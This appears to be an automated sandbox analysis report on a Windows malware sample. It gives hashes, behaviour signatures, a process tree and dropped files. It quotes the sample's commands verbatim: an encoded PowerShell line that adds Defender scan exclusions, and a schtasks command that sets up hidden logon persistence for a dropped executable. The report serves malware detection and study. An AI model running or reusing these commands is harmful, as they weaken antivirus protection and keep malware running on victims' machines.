Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 06:19
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
Resource
win10v2004-20260513-en
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
Resource
win11ltsc2024-20260709-en
12 signatures
150 seconds
General
- Target 52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
- Size 4.1MB
- Sample260820-g3ffbstyaw
- SHA256 360935831e4bf1ea910f4b3f9160a0e67c938c3d58b6b23f4a214fc38f709668
- MD5 52f2cfd7cb8d98f5fa795b1a0fb61ecf
- SHA1 1b3d8e85df71987c29ca6d0e512b4e491b80b9d4
- SHA512 79d00243732b83f1254b07b1a8e54c16169e4e50f51ed6d7a1dc220252d0a05aad05055e059719074e9c2358b912f597c61d803bd5265a3b80e8fdb4ca42d13c
- SSDEEP 98304:HRJVlXpZL9lmSanS0e85WWb9dyTyrunrXKk7O:9lX7L/NanWM8wu7
- TLSH T1D81633C3334521DFF5E943F38A4618F891AAEB019437ECE8977D58721466D8EBC1BA06
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 3 IoCs
pid Process 5664 Gh_ObfuscaROXo.exe 1540 security.exe 2284 security.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5372 cmd.exe 2484 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Gh_ObfuscaROXo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language security.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language security.exe - Delays execution with timeout.exe 1 IoCs
pid Process 5288 timeout.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings 52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings OpenWith.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5864 schtasks.exe - Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 820 powershell.exe 820 powershell.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe 5664 Gh_ObfuscaROXo.exe - Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 820 powershell.exe Token: SeIncreaseQuotaPrivilege 820 powershell.exe Token: SeSecurityPrivilege 820 powershell.exe Token: SeTakeOwnershipPrivilege 820 powershell.exe Token: SeLoadDriverPrivilege 820 powershell.exe Token: SeSystemProfilePrivilege 820 powershell.exe Token: SeSystemtimePrivilege 820 powershell.exe Token: SeProfSingleProcessPrivilege 820 powershell.exe Token: SeIncBasePriorityPrivilege 820 powershell.exe Token: SeCreatePagefilePrivilege 820 powershell.exe Token: SeBackupPrivilege 820 powershell.exe Token: SeRestorePrivilege 820 powershell.exe Token: SeShutdownPrivilege 820 powershell.exe Token: SeDebugPrivilege 820 powershell.exe Token: SeSystemEnvironmentPrivilege 820 powershell.exe Token: SeRemoteShutdownPrivilege 820 powershell.exe Token: SeUndockPrivilege 820 powershell.exe Token: SeManageVolumePrivilege 820 powershell.exe Token: 33 820 powershell.exe Token: 34 820 powershell.exe Token: 35 820 powershell.exe Token: 36 820 powershell.exe Token: SeDebugPrivilege 5664 Gh_ObfuscaROXo.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 6096 OpenWith.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 5904 wrote to memory of 820 5904 52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe 89 PID 5904 wrote to memory of 5664 5904 52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe 92 PID 5664 wrote to memory of 5372 5664 Gh_ObfuscaROXo.exe 94 PID 5664 wrote to memory of 2484 5664 Gh_ObfuscaROXo.exe 96 PID 5372 wrote to memory of 5864 5372 cmd.exe 98 PID 2484 wrote to memory of 5288 2484 cmd.exe 99 PID 2484 wrote to memory of 2284 2484 cmd.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe"C:\Users\Admin\AppData\Local\Temp\52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAagBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAaQBwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAeABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAZgBjACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:820
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C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe"C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5664 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "security" /tr '"C:\Users\Admin\AppData\Roaming\security.exe"' & exit3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5372 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "security" /tr '"C:\Users\Admin\AppData\Roaming\security.exe"'4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5864
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD018.tmp.bat""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\SysWOW64\timeout.exetimeout 34⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:5288
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C:\Users\Admin\AppData\Roaming\security.exe"C:\Users\Admin\AppData\Roaming\security.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2284
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C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6096
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C:\Users\Admin\AppData\Roaming\security.exe"C:\Users\Admin\AppData\Roaming\security.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1540
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe
- Size 4.0MB
- SHA256 7bd1ef75e1f425e64578ef1f00f9067d0c90c612b0b2b889517b38c005cee3e3
- MD5 0e7ccefbe69e683859cf37f93f788d5c
- SHA1 4a255c912995a63772642d1f9f9460eaef0258b9
- SHA512 ed383c57ae249db10c178eca45d1dde56d2ca90b008b732d7f17080103a3cf2419322ad5a7e08fc419eaf14f8d29166d06bfdf8e64b269364c894ef0ba7e61cf
- SSDEEP 49152:dW/EGSPGFZNEbG4186gteyr6jE3WXpLgf:dW/xZOgteyr6jgWXyf
- TLSH T1E016E4C05BB0D662C07584FD76737F209199C3B197A2DDAFB5406B3A2EE918CCE0E991
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\LICENSE
- Size 34KB
- SHA256 8b1ba204bb69a0ade2bfcf65ef294a920f6bb361b317dba43c7ef29d96332b9b
- MD5 e49f4652534af377a713df3d9dec60cb
- SHA1 7bc5474bacf20ef085e04ded37c5e604c197cf07
- SHA512 adfa9547f59d194835eb7cfa4014fd3f972470f92802e1f9c39e636225f285331956620accc7d431e5c0ff4171a462ef184c334e2bd639a92d383e22501ae60c
- SSDEEP 768:Fo1acy3LTB2VsrHG/OfvMmnBCtLmJ9A7R:Fhcycsrfrnouk
- TLSH T140F2835FB74413B2018206A26A9F68DEE319D03A73664095785DC15C27B3E3483BFBED
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmpD018.tmp.bat
- Size 152B
- SHA256 d05122fba4dfa7ee96820f8b892ff2fd84ee36181bc9756323fa09dcac012568
- MD5 80befa56608a7c9d2eb6b2cf29f2fe0d
- SHA1 da9165abef880886af8a73099f52f761694b3ec0
- SHA512 57c2a722c55b02eacae0605500f4c770c52a4bbcbf1318b5021e569121e89bc564e727b8bfc488b87911ca4bf738797de21c1f0cd818032631415ac54997ca64
- TLSH T1FBC02B42D1C9EA3E2809281302FED4DCA1726C593F40BF10C704446D72C084CF4E93C9
- MD5 SHA1 SHA512 TLSH